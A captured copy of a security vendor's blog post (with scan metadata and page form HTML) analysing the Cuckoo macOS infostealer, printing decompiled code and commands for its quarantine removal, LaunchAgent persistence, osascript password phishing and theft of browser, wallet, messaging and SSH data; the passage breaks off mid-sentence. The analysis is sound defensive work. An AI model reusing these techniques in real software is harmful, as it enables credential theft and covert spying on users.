blog.kandji.io
Open in
urlscan Pro
199.60.103.29
Public Scan
Submitted URL: https://email.kandji.io/e3t/Ctc/ZS+113/cC6HP04/VWqgBP73WT4TN6R71kv1L-BfW8LzBkh5dFt9FN2QYvzF3l5QzW6N1vHY6lZ3lHW2GglnH5wps...
Effective URL: https://blog.kandji.io/malware-cuckoo-infostealer-spyware?utm_medium=email&_hsenc=p2ANqtz-9jDsrFNdd9dNrNDJFYKgQvVvefIjz...
Submission: On May 06 via manual from IT — Scanned from IT
Effective URL: https://blog.kandji.io/malware-cuckoo-infostealer-spyware?utm_medium=email&_hsenc=p2ANqtz-9jDsrFNdd9dNrNDJFYKgQvVvefIjz...
Submission: On May 06 via manual from IT — Scanned from IT
Form analysis
2 forms found in the DOM/search
<form action="/search" class="relative">
<input type="text" class="" name="term" autocomplete="off" aria-label="Search" value="" placeholder="Type your search request">
<button aria-label="Search" class="absolute right-0 top-0 h-full w-11 transition duration-200 ease-in-out opacity-50 hover:opacity-100">
<span aria-hidden="true" class="inline-flex items-center justify-center w-11 h-full">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" class="h-6 w-6">
<rect width="256" height="256" fill="none"></rect>
<circle cx="116" cy="116" r="84" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="16"></circle>
<line x1="175.4" y1="175.4" x2="224" y2="224" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="16"></line>
</svg>
</span>
</button>
</form>
POST https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/5058330/21f774d6-4c0b-4c25-b47a-35023464393a
<form id="hsForm_21f774d6-4c0b-4c25-b47a-35023464393a_4472" method="POST" accept-charset="UTF-8" enctype="multipart/form-data" novalidate=""
action="https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/5058330/21f774d6-4c0b-4c25-b47a-35023464393a"
class="hs-form-private hsForm_21f774d6-4c0b-4c25-b47a-35023464393a hs-form-21f774d6-4c0b-4c25-b47a-35023464393a hs-form-21f774d6-4c0b-4c25-b47a-35023464393a_729d84dd-c3b6-4c02-9daa-620e23b36789 hs-form stacked hs-custom-form"
target="target_iframe_21f774d6-4c0b-4c25-b47a-35023464393a_4472" data-instance-id="729d84dd-c3b6-4c02-9daa-620e23b36789" data-form-id="21f774d6-4c0b-4c25-b47a-35023464393a" data-portal-id="5058330"
data-test-id="hsForm_21f774d6-4c0b-4c25-b47a-35023464393a_4472">
<div class="hs_email hs-email hs-fieldtype-text field hs-form-field"><label id="label-email-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your Email"
for="email-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>Email</span><span class="hs-form-required">*</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input id="email-21f774d6-4c0b-4c25-b47a-35023464393a_4472" name="email" required="" placeholder="Email" type="email" class="hs-input" inputmode="email" autocomplete="email" value=""></div>
</div>
<div class="hs_utm_campaign hs-utm_campaign hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_campaign-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your utm_campaign"
for="utm_campaign-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>utm_campaign</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_campaign" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_utm_content hs-utm_content hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_content-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your utm_content"
for="utm_content-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>utm_content</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_content" class="hs-input" type="hidden" value="305522564"></div>
</div>
<div class="hs_utm_medium hs-utm_medium hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_medium-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your utm_medium"
for="utm_medium-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>utm_medium</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_medium" class="hs-input" type="hidden" value="email"></div>
</div>
<div class="hs_utm_source hs-utm_source hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_source-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your utm_source"
for="utm_source-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>utm_source</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_source" class="hs-input" type="hidden" value="hs_email"></div>
</div>
<div class="hs_utm_term hs-utm_term hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_term-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your utm_term"
for="utm_term-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>utm_term</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_term" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_blog_kandji_blog_2_6850365017_subscription hs-blog_kandji_blog_2_6850365017_subscription hs-fieldtype-radio field hs-form-field" style="display: none;"><label
id="label-blog_kandji_blog_2_6850365017_subscription-21f774d6-4c0b-4c25-b47a-35023464393a_4472" class="" placeholder="Enter your Kandji Blog Email Subscription"
for="blog_kandji_blog_2_6850365017_subscription-21f774d6-4c0b-4c25-b47a-35023464393a_4472"><span>Kandji Blog Email Subscription</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="blog_kandji_blog_2_6850365017_subscription" class="hs-input" type="hidden" value="instant"></div>
</div>
<div class="hs_submit hs-submit">
<div class="hs-field-desc" style="display: none;"></div>
<div class="actions"><input type="submit" class="hs-button primary large" value="Subscribe"></div>
</div><input name="hs_context" type="hidden"
value="{"embedAtTimestamp":"1714984853210","formDefinitionUpdatedAt":"1629373273571","notifyHubSpotOwner":"true","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","pageTitle":"Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware","pageUrl":"https://blog.kandji.io/malware-cuckoo-infostealer-spyware?utm_medium=email&_hsenc=p2ANqtz-9jDsrFNdd9dNrNDJFYKgQvVvefIjzgHq55RTj3vCkArlz2cBr8pDLNVlM1_zyNe_SjypZ0O2_HIJobR38vYOzPJfhbEg&_hsmi=305522564&utm_content=305522564&utm_source=hs_email","pageId":"165936097429","urlParams":{"utm_medium":"email","_hsenc":"p2ANqtz-9jDsrFNdd9dNrNDJFYKgQvVvefIjzgHq55RTj3vCkArlz2cBr8pDLNVlM1_zyNe_SjypZ0O2_HIJobR38vYOzPJfhbEg","_hsmi":"305522564","utm_content":"305522564","utm_source":"hs_email"},"isHubSpotCmsGeneratedPage":true,"canonicalUrl":"https://blog.kandji.io/malware-cuckoo-infostealer-spyware","contentType":"blog-post","hutk":"294b0ac69ff74141a764926c5808370c","__hsfp":2999608170,"__hssc":"234561729.1.1714984854606","__hstc":"234561729.294b0ac69ff74141a764926c5808370c.1714984854606.1714984854606.1714984854606.1","formTarget":"#hs_form_target_sidebar_subscribe_","formInstanceId":"4472","rawInlineMessage":"<p>Thanks for subscribing!</p>","hsFormKey":"6f4754b90925da6185356e69ce83b032","pageName":"Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware","rumScriptExecuteTime":904.3999996185303,"rumTotalRequestTime":1108.6000003814697,"rumTotalRenderTime":1141.3000011444092,"rumServiceResponseTime":204.20000076293945,"rumFormRenderTime":32.70000076293945,"connectionType":"4g","firstContentfulPaint":0,"largestContentfulPaint":0,"locale":"en","timestamp":1714984854623,"originalEmbedContext":{"portalId":"5058330","formId":"21f774d6-4c0b-4c25-b47a-35023464393a","region":"na1","target":"#hs_form_target_sidebar_subscribe_","isBuilder":false,"isTestPage":false,"isPreview":false,"formInstanceId":"4472","formsBaseUrl":"/_hcms/forms","css":"","inlineMessage":"<p>Thanks for subscribing!</p>","isMobileResponsive":true,"rawInlineMessage":"<p>Thanks for subscribing!</p>","hsFormKey":"6f4754b90925da6185356e69ce83b032","pageName":"Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware","pageId":"165936097429","contentType":"blog-post","formData":{"cssClass":"hs-form stacked hs-custom-form"},"isCMSModuleEmbed":true},"correlationId":"729d84dd-c3b6-4c02-9daa-620e23b36789","renderedFieldsIds":["email","utm_campaign","utm_content","utm_medium","utm_source","utm_term","blog_kandji_blog_2_6850365017_subscription"],"captchaStatus":"NOT_APPLICABLE","emailResubscribeStatus":"NOT_APPLICABLE","isInsideCrossOriginFrame":false,"source":"forms-embed-1.5064","sourceName":"forms-embed","sourceVersion":"1.5064","sourceVersionMajor":"1","sourceVersionMinor":"5064","allPageIds":{"embedContextPageId":"165936097429","analyticsPageId":"165936097429","contentPageId":165936097429,"contentAnalyticsPageId":"165936097429"},"_debug_embedLogLines":[{"clientTimestamp":1714984853282,"level":"INFO","message":"Retrieved customer callbacks used on embed context: [\"getExtraMetaDataBeforeSubmit\"]"},{"clientTimestamp":1714984853282,"level":"INFO","message":"Retrieved pageContext values which may be overriden by the embed context: {\"pageTitle\":\"Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware\",\"pageUrl\":\"https://blog.kandji.io/malware-cuckoo-infostealer-spyware?utm_medium=email&_hsenc=p2ANqtz-9jDsrFNdd9dNrNDJFYKgQvVvefIjzgHq55RTj3vCkArlz2cBr8pDLNVlM1_zyNe_SjypZ0O2_HIJobR38vYOzPJfhbEg&_hsmi=305522564&utm_content=305522564&utm_source=hs_email\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\",\"urlParams\":{\"utm_medium\":\"email\",\"_hsenc\":\"p2ANqtz-9jDsrFNdd9dNrNDJFYKgQvVvefIjzgHq55RTj3vCkArlz2cBr8pDLNVlM1_zyNe_SjypZ0O2_HIJobR38vYOzPJfhbEg\",\"_hsmi\":\"305522564\",\"utm_content\":\"305522564\",\"utm_source\":\"hs_email\"},\"pageId\":\"165936097429\",\"contentAnalyticsPageId\":\"165936097429\",\"contentPageId\":165936097429,\"isHubSpotCmsGeneratedPage\":true}"},{"clientTimestamp":1714984853283,"level":"INFO","message":"Retrieved countryCode property from normalized embed definition response: \"IT\""},{"clientTimestamp":1714984854618,"level":"INFO","message":"Retrieved analytics values from API response which may be overriden by the embed context: {\"hutk\":\"294b0ac69ff74141a764926c5808370c\",\"canonicalUrl\":\"https://blog.kandji.io/malware-cuckoo-infostealer-spyware\",\"contentType\":\"blog-post\",\"pageId\":\"165936097429\"}"}]}"><iframe
name="target_iframe_21f774d6-4c0b-4c25-b47a-35023464393a_4472" style="display: none;"></iframe>
</form>
Text Content
___ Skip to content Book a Demo Request Pricing Virtual Tour Kandji logo Open main menu Kandji Close menu PRODUCT Device Harmony Device Management Endpoint Detection & Response Pricing Support USE CASES Deploy Secure Configure Manage Integrate FEATURES Liftoff Passport Auto Apps Managed OS Migration Compliance Prism Integrations iOS & iPadOS RESOURCES Resources Hub Blog Customer Stories MacAdmins Community Security Details PARTNERS Resellers Technology Partners Become a Partner Register a Deal Partner Portal COMPANY About Kandji Careers News & Press Contact Log in Get Started Get Started Kandji logo Product SOLUTIONS Device Management Advanced automation and frictionless experiences for Apple devices Endpoint Detection & Response Cutting-edge performance and extensive threat detection for Mac WHY KANDJI? Device Harmony Tear down the wall between IT and InfoSec to keep every Apple user secure and productive at work FEATURES Liftoff Onboard users with a personalized setup experience Passport Let users unlock devices with their single sign-on credentials Auto Apps Automatically ensure devices always have the right software Managed OS Set and enforce macOS update parameters fleet-wide Migration Move users onto Kandji via an existing MDM platform Compliance Map settings to compliance benchmarks in minutes Prism Get instant visibility and reporting on the state of your Apple fleet. Integrations Connect Kandji with the rest of your software stack to save even more time. iOS & iPadOS Deploy, manage, and secure iOS and iPadOS devices at scale. SEE KANDJI IN ACTION Try Kandji Free Discover the power of Kandji with a personalized demo and 14-day trial. Get Started Pricing Resources Resources Hub Blog Customer Stories MacAdmins Community Security Details Support Partners Resellers Technology Partners Become a Partner Register a Deal Partner Portal Company About Kandji Careers News & Press Contact Log in Get Started Blog Security Malware: C... MALWARE: CUCKOO BEHAVES LIKE CROSS BETWEEN INFOSTEALER AND SPYWARE Adam Kohler & Christopher Lopez Adam Kohler & Christopher Lopez Apr 30, 2024 43 min read On April 24, 2024, we found a previously undetected malicious Mach-O binary programmed to behave like a cross between spyware and an infostealer. We have named the malware Cuckoo, after the bird that lays its eggs in the nests of other birds and steals the host's resources for the gain of its young. The first file we dove into is named DumpMediaSpotifyMusicConverter. It was uploaded to VirusTotal on April 24; it can also be found under the name upd. It's a universal binary that can run on Intel or ARM-based Mac computers. A quick Google search for that application name led us to the website dumpmedia[.]com, which was hosting the application. That website offered multiple apps for converting music from streaming services to MP3 format. We downloaded the DMG for the Spotify version to see if it contained the malicious files. The downloaded DMG contains an application bundle. Normally, macOS applications instruct the user to drag such apps into the /Applications folder. But in this case, it tells the user to right-click on it and click Open. When we selected Show Package Contents instead of Open, and then navigated to the macOS folder within the bundle, we found a Mach-O binary called upd. That name raised a red flag because, normally, such binaries have the name of the application. When we looked at the Resources folder in that bundle, we found another application bundle called DumpMedia Spotify Music Converter. This appears to be what the normal application bundle should be. Looking into the upd file in the original bundle, we found that it is signed adhoc with no developer ID. This means that Gatekeeper will initially stop the app from running and require the user to manually allow it. johnlocke@macos-14 ~ % codesign -dvvv /Volumes/DumpMedia\ Spotify\ Music\ Converter\ 3.1.29/DumpMedia\ Spotify\ Music\ Converter.app/Contents/MacOS/upd Executable=/Volumes/DumpMedia Spotify Music Converter 3.1.29/DumpMedia Spotify Music Converter.app/Contents/MacOS/upd Identifier=upd.upd Format=app bundle with Mach-O universal (x86_64 arm64) CodeDirectory v=20400 size=1536 flags=0x2(adhoc) hashes=38+7 location=embedded Hash type=sha256 size=32 CandidateCDHash sha1=696343119e0a0686072f6a31d0edb29a5b8fd116 CandidateCDHashFull sha1=696343119e0a0686072f6a31d0edb29a5b8fd116 CandidateCDHash sha256=7a45639f768144799d608a4bbabf144fc1e3c016 CandidateCDHashFull sha256=7a45639f768144799d608a4bbabf144fc1e3c016a7d665775c6314a0c71540f1 Hash choices=sha1,sha256 CMSDigest=702fee1d3836cc14102ec2dfbf1e6706c2e359a8e38403d82789ba7d717cfc77 CMSDigestType=2 CDHash=7a45639f768144799d608a4bbabf144fc1e3c016 Signature=adhoc Info.plist entries=24 TeamIdentifier=not set Sealed Resources version=2 rules=13 files=242 Internal requirements count=0 size=12 LINK TO THIS SECTION RUNNING THE APPLICATION Once we allowed the application to run, we could see from a process monitor that it spawned a bash shell and started to gather host information using the system_profiler command to gather the hardware UUID. sh -c system_profiler SPHardwareDataType | awk '/Hardware UUIID/{print $(NF)}' The strings for this malware are XOR-encoded; the output of the command above is set up and decoded in this subroutine: 100017f90 08d80150 adr x8, 0x10001ba92 100017f94 1f2003d5 nop 100017f98 000540ad ldp q0, q1, [x8] {data_10001ba92} {data_10001ba92[0x10]} 100017f9c e00700ad stp q0, q1, [sp] {XOREncodedStr} 100017fa0 000541ad ldp q0, q1, [x8, #0x20] {data_10001ba92[0x20]} {data_10001ba92[0x30]} 100017fa4 e00701ad stp q0, q1, [sp, #0x20] {var_50} {var_40} 100017fa8 092140f9 ldr x9, [x8, #0x40] {data_10001ba92[0x40]} {0x67277d29464e2824} 100017fac 6a0e8052 mov w10, #0x73 100017fb0 48db0150 adr x8, data_10001bb19[1] {"neCM1yILp7V3BbMpgfgYYE6KY"} 100017fb4 1f2003d5 nop 100017fb8 e92300f9 str x9, [sp, #0x40] {0x67277d29464e2824} 100017fbc ea030039 strb w10, [sp {XOREncodedStr}] {0x73} First, it loads a pointer to the XOR-encoded string into register x8. The q registers are used to load the values pointed to by x8 at address 0x10001ba92 and store them on the stack. The value of 0x73 (“s” in ASCII) is moved into x10 and is then later used to replace the first byte of the XOR-encoded string—the first letter of the system_profiler command. The key used to decode the string is at address 0x10001bb19; a pointer to this address is loaded into x8 to be used in the decoding portion of this subroutine. See Kandji in Action Experience Apple device management and security that actually gives you back your time. Get Started Contact Us Next, there’s the decoding loop: 100017fdc 2d7dca9b umulh x13, x9, x10 100017fe0 adfd43d3 lsr x13, x13, #0x3 100017fe4 ad7d0b9b mul x13, x13, x11 100017fe8 8e696938 ldrb w14, [x12, x9] {XOREncodedStr} 100017fec 0d696d38 ldrb w13, [x8, x13] 100017ff0 ad010e4a eor w13, w13, w14 100017ff4 8d692938 strb w13, [x12, x9] {XOREncodedStr} 100017ff8 29050091 add x9, x9, #0x1 100017ffc 08050091 add x8, x8, #0x1 100018000 3f2101f1 cmp x9, #0x48 100018004 c1feff54 b.ne 0x100017fdc The three instructions umulh, lsr, and mul set the value of X13 to 0x0. This acts as the offset for the key that is used for the decoding. The XOR-encoded string is loaded into register W12 from an offset of the address pointed to by X12+X9. X9 was already given the value of 0x1, and the “s” was added previously, so the string starts at the second character. The key pointed to by register X8 is iterated through a loop for the length of the encoded string. Once this string is decoded, it is passed to a function that calls popen() for execution. The UUID is then saved at the address 0x10002036c for later use. A call to a similar XOR encoding function is used throughout the binary for all commands that are passed to popen(). The application then creates a new copy of upd, renames it DumpMediaSpotifyMusicConverter, and places it in a hidden folder in the /Users directory. This is why it sometimes appears as upd and other times as DumpMediaSpotifyMusicConverter. The original upd will then use xattr -d com.apple.quarantine to remove the quarantine flag from itself and from the copy of DumpMediaSpotifyMusicConverter. sh -c xattr -d com.apple.quarantine "/private/var/folders/bq/v81jjr7d35jcwg0_813491z80000gn/T/AppTranslocation/2C379A6D-A124-4632-B142-C00A9D88EFC5/d/DumpMedia Spotify Music Converter. app/Contents/MacOS/upd" sh -c xattr -d com.apple quarantine "/Users/test/.local-E40EC858-5B4A-5B3F-B81F-161DF17D04F3/DumpMediaSpotifyMusicConverter" LINK TO THIS SECTION LOCALE CHECK After the query for the UUID, we observed that Cuckoo checks for the system’s LANG environmental variable. This value is then compared with other locales in an If statement to determine whether the malicious behavior should continue. 100005a2c __builtin_strcpy(dest: &hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, src: "hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;") 100005a40 XOR_func(&hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, 0x1f) This check is completed by executing the getenv() function and passing the LANG string, which on our systems would return en_US.UTF-8. This value is then passed to the snprintf() function to “cut” the string to only 5 characters and a trailing “;” for matching purposes. 100005aa4 00b50a30 adr x0, data_10001b145 {"LANG"} 100005aa8 1f2003d5 nop 100005aac a94c0094 bl _getenv 100005ab0 e00300f9 str x0, [sp {LanguageENV}] 100005ab4 a2b40a50 adr x2, data_10001b14a {"%.5s;"} 100005ab8 1f2003d5 nop 100005abc e0a70191 add x0, sp, #0x69 {localeReturn(en_US;)} 100005ac0 e1008052 mov w1, #0x7 100005ac4 fa4c0094 bl _snprintf Using the format string “%.5s;” results in en_US;. The If statement then uses the strstr() function to search for this result, along with another call to _sem_open(): if (_sem_open(&_/mtx-%.2 and UUID, 0x200) != -1 && _strstr(&hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, &localeReturn(en_US;)) == 0) The point is that the creators of this malware did not want to infect devices in five countries: * Armenia (hy_AM) * Belarus (be_BY) * Kazakhstan (kk_KZ) * Russia (ru_RU) * Ukraine (uk_UA) If there is no match, this binary will open the legitimate SpotifyMusicConverter application. LINK TO THIS SECTION CREATING PERSISTENCE Stealers do not typically set persistence; that behavior is more usual in spyware. So it was surprising to see that this malware does. Each of the strings needed to create and then populate a plist are passed through the XOR function to decode. Once they are decoded, there is a check to see whether ~/Library/LaunchAgents exists. If not, it is created. 100003e20 void _~/Library/LaunchAgents/ 100003e20 _snprintf(&_~/Library/LaunchAgents/, 0x400, "%s/%s") 100003e2c if (_opendir(&_~/Library/LaunchAgents/) != 0) 100003e30 _closedir() 100003e2c else if (*___error() == 2) 100003e50 _mkdir(&_~/Library/LaunchAgents/, 0x1ed) To set itself as a persistent binary, upd first copies itself and then saves itself to a newly created folder in the User's home directory. This is accomplished using the NSGetExecutablePath() function, which returns the path of this binary and creates the path to DumpMediaSpotifyCoverter inside of the ~/.local-UUID path. The fcopyfile() function is then called to copy the binary to this new location. 100003efc __NSGetExecutablePath(&mainExecutablePath, &var_269c) 100003f28 int64_t x0_25 = 0 100003f30 void pathToPlist 100003f30 if (_stat(&var_1640, &pathToPlist) != 0 && _strcmp(&mainExecutablePath, &pathTo_DumpMediaSpotifyMusicConverter) != 0) 100003f38 void* var_26b0_2 = &pathTo_DumpMediaSpotifyMusicConverter 100003f50 _snprintf(&pathToPlist, 0x1000, &var_1c0) 100003f64 int64_t x0_28 = _fopen(&var_1640, "w") 100003f68 if (x0_28 != 0) 100003f90 _fwrite(&pathToPlist, 1, _strlen(&pathToPlist), x0_28) 100003f98 _fclose(x0_28) 100003fa4 int64_t fptr - Main Executable = _open(&mainExecutablePath, 0) 100003fb0 int64_t var_26b0_3 = 511 100003fbc int64_t PathToDumpMediaSpotifyMusicConverter = _open(&pathTo_DumpMediaSpotifyMusicConverter, 0x202) 100003fd4 _fcopyfile(fptr - Main Executable, PathToDumpMediaSpotifyMusicConverter, 0, 0xf) The application uses launchctl to persistently load a LaunchAgent for a plist from the application. sh -c launchctl load -w "/Users/test/Library/LaunchAgents/com.dumpmedia.spotifymusicconverter.plist" Looking into the plist, we can see its goal is to run a login script every 60 seconds. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.user.loginscript</string> <key>ProgramArguments</key> <array> <string>/Users/test/.local-E40EC858-5B4A-5B3F-B81F-161DF17D04F3/DumpMediaSpotifyMusicConverter</string> </array> <key>StartInterval</key> <integer>60</integer> </dict> </plist> Persistence is set up with calls to the XOR function to decode the strings and then snprintf() to replace values in the format strings that create the plist: 100003d28 _memcpy(&var_1c0, "<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n<dict>\n <key>Label</key>\n <string>com.user.loginscript</string>\n <key>ProgramArguments</key>\n <array>\n <string>%s</string>\n </array>\n <key>StartInterval</key>\n <integer>60</integer>\n</dict>\n</plist>\n", 0x188) 100003d38 XOR_func(&var_1c0, 0x188) 100003d3c char var_2694 = 0 100003d48 int32_t HOME = '~!(\x06' 100003d54 XOR_func(&HOME, 5) 100003d64 int128_t var_11e0 100003d64 __builtin_strcpy(dest: &var_11e0, src: "Library/LaunchAgents") 100003d84 XOR_func(&var_11e0, 0x15) 100003d94 int64_t var_11f0 100003d94 __builtin_strcpy(dest: &var_11f0, src: "%s/.local-%s") 100003dac XOR_func(&var_11f0, 0xd) 100003dbc int128_t var_1220 100003dbc __builtin_strcpy(dest: &var_1220, src: "com.dumpmedia.spotifymusicconverter.plist") 100003dd4 XOR_func(&var_1220, 0x2a) 100003de4 int128_t var_1240 100003de4 __builtin_strcpy(dest: &var_1240, src: "DumpMediaSpotifyMusicConverter") 100003dfc XOR_func(&var_1240, 0x1f) 100003e04 int64_t x0_8 = _getenv(&HOME) LINK TO THIS SECTION PRIVILEGE ESCALATION From here, upd uses osascript to ask the user for their password using the prompt “macOS needs to access System Settings.” (Note that it doesn’t explicitly tell the user it needs a password.) Once the correct password is entered, upd stores it in a file called pw.dat that is located at ~/.local-UUID/—the same place as the copied and renamed udp. We’ve seen other recent malware use a similar approach to capturing passwords. But this one uses an interesting tactic to test the password. As mentioned, the password is saved to a file; this is completed by building the path to the file to use. 10000503c int64_t homeENV = _getenv(&HOME) 10000503c void* UUID = &UUID_10002036c 100005050 void _~/.local-UUID 100005050 _snprintf(&_~/.local-UUID, 0x400, &_%s/.local-%s) 100005054 void* var_a80 = &_~/.local-UUID 100005064 void _~/.local-UUID/pw.dat 100005064 _snprintf(&_~/.local-UUID/pw.dat, 0x400, &_%s/pw.dat) 100005070 if (_opendir(&_~/.local-UUID) != 0) 100005074 _closedir() 100005070 else if (*___error() == 2) 100005094 _mkdir(&_~/.local-UUID, 0x1ff) Once the pw.dat file is created, a function we call PasswordCapture() is executed. It builds the script above and parses the returned text value. This value is then passed to a passwordChecker() function along with the pw_name member of the password structure that was returned by a call to getpwuid(getuid()). The passwordChecker() function uses Core Services Identity functions to determine if the captured password is correct by returning 1 if successful in authenticating. 1000187c8 BOOL TestPassword(int64_t passwdUser, int64_t password) 1000187f0 int64_t usernameStr = _CFStringCreateWithCString(0, passwdUser, 0x8000100) 10001881c int64_t query = _CSIdentityQueryCreateForName(*_kCFAllocatorDefault, usernameStr, 1, 1, _CSGetDefaultIdentityAuthority()) 10001882c _CSIdentityQueryExecute() 100018834 int64_t queryResult = _CSIdentityQueryCopyResults(query) 100018844 char successful 100018844 if (_CFArrayGetCount() != 1) 100018890 successful = 0 100018844 else 100018850 int64_t firstValue = _CFArrayGetValueAtIndex(queryResult, 0) 100018868 int64_t passwordString = _CFStringCreateWithCString(0, password, 0x8000100) 100018880 if (_CSIdentityAuthenticateUsingPassword(firstValue, passwordString) != 0) 100018880 successful = 1 100018880 else 100018880 successful = 0 100018888 _CFRelease(passwordString) 100018898 _CFRelease(usernameStr) 1000188a0 _CFRelease(queryResult) 1000188a8 _CFRelease(query) 1000188c0 return successful Once the password check is completed, it is written to the pw.dat file mentioned above. 100005138 if (((correctPasswd & 1) == 0 && password_1 != 0) || (correctPasswd & 1) != 0) 100005160 int64_t fptr = _fopen(&_~/.local-UUID/pw.dat, "w") 100005164 if (fptr != 0) 100005184 _fwrite(&password, 1, _strlen(&password), fptr) 10000518c _fclose(fptr) In order to proceed, the malware requires the user to accept the TCC prompts for access to the Finder, microphone, and downloads. It then looks to discover more about the host by running the sw_vers, system_profiler SPHardwareDataType, and ps aux commands. These gather information about the macOS version and build, hardware, and processes. We’ll explain them a bit more below. It then calls osascript again to set a variable tf to the path of the Desktop folder. Finally, it mutes the volume of the computer. osascript -e 'set volume output muted true' LINK TO THIS SECTION SPYING AND INFOSTEALING CAPABILITIES As seen in recent stealers, this malware queries for specific files associated with specific applications, in an attempt to gather as much information as possible from the system. The main engine of this malware collects information from the system and associates the type of information collected with a keyword that is then observed in network communications. Starting at the address 0x100016024 we will break down its capabilities in a function we call runIT(). (Because this malware sample was stripped— meaning we don’t have information about functions—we renamed the function calls to specify different capabilities observed.) Here we observe the use of the string NFTktRMW, which is seen in several communications: 1000123bc if (x0_3 != 0) 1000123d0 int64_t var_178 1000123d0 __builtin_strncpy(dest: &var_178, src: "NFTktRMW", n: 9) 1000123e0 XOR_func(&var_178, 9) 1000123f0 int128_t var_1b0 1000123f0 __builtin_strcpy(dest: &var_1b0, src: "macOS Password: %s\nBLD: %s\nPC Name: %s\nUser: %s\nO") 10001240c XOR_func(&var_1b0, 0x32) A string is also decoded that will be used to send certain types of information to the Command and Control server (C2), including the password (which was captured earlier), the build, hostname, and username. These slots are filled in by querying the system with other functions, including getuid() and hostname() For example: * System profiler command to obtain hardware information: 10001248c __builtin_strcpy(dest: &systemProfilerCMD, src: "system_profiler SPHardwareDataTy\t,") 100012498 XOR_func(&systemProfilerCMD, 0x23) 1000124a4 char* x0_14 = popenCMD(&systemProfilerCMD, 1) * Call to ps aux to capture currently running processes: 1000125b0 XOR_func(&ps aux, 7) 1000125bc char* x0_27 = popenCMD(&ps aux, 1) 1000125c0 if (x0_27 != 0) 1000125d8 x19 = _realloc(x19, _strlen() + 0x4000) 1000125e0 _strcat() 1000125ec *(x19 + _strlen()) = 0xa 1000125f4 _free(x0_27) * Query for installed applications, while avoiding .DS_Store and .localized files: 100012600 int64_t openApplications = _opendir("/Applications") 100012604 if (openApplications != 0) 100012610 int64_t x0_34 100012610 int128_t v0_2 100012610 x0_34, v0_2 = _strlen(x19) 100012620 *(x19 + x0_34) = *"\nApplications:\n" 100012628 int64_t i = _readdir(openApplications) 10001262c if (i != 0) 100012684 do 100012654 if (_strcmp(i + 0x15, ".DS_Store") != 0 && _strcmp(i + 0x15, ".localized") != 0) 100012670 _strcat(x19, i + 0x15) 100012678 *(x19 + _strlen()) = 0xa 100012680 i = _readdir(openApplications) 100012684 while (i != 0) 10001268c _closedir(openApplications) Each of the functions below follows a similar pattern: First, important encoded strings are decoded by passing them to the XOR function mentioned earlier. Next, paths to important files for collection are created and passed to functions for opening and returning pointers to these files. 1000161b8 browserSetup() 1000161bc fileZilla() 1000161c0 steamQuery() 1000161c4 wallets_and_coins!() 1000161c8 Discord() 1000161cc Telegram() 1000161d0 zsh_ssh() 1000161ec curlSetup(arg1, &var_c0, &var_e0, data_1000204b8, data_1000204c0, nullptr) Those familiar with other macOS stealers may already be familiar with the types of files that are queried for by this one. We will dig into a few of them to show what information is obtained, then explore the others in an addendum at the end of this post. LINK TO THIS SECTION TCC RESET After the collection of data from these third-party applications, we observed a call to tccutil. 100018740 __builtin_strncpy(dest: &tccutil reset AppleEvents, src: "tccutil reset Ap", n: 0x10) 100018748 __builtin_strcpy(dest: &tccutil reset AppleEvents:0xa, src: "set AppleEvents") This command is decoded and passed to popen() for execution. It will reset the TCC database specific to AppleEvents permissions. It is unclear why this was completed, since it would prompt the user for permissions. What follows is another osascript command for the Desktop. Once this finishes, the collection of data continues, this time targeting Apple 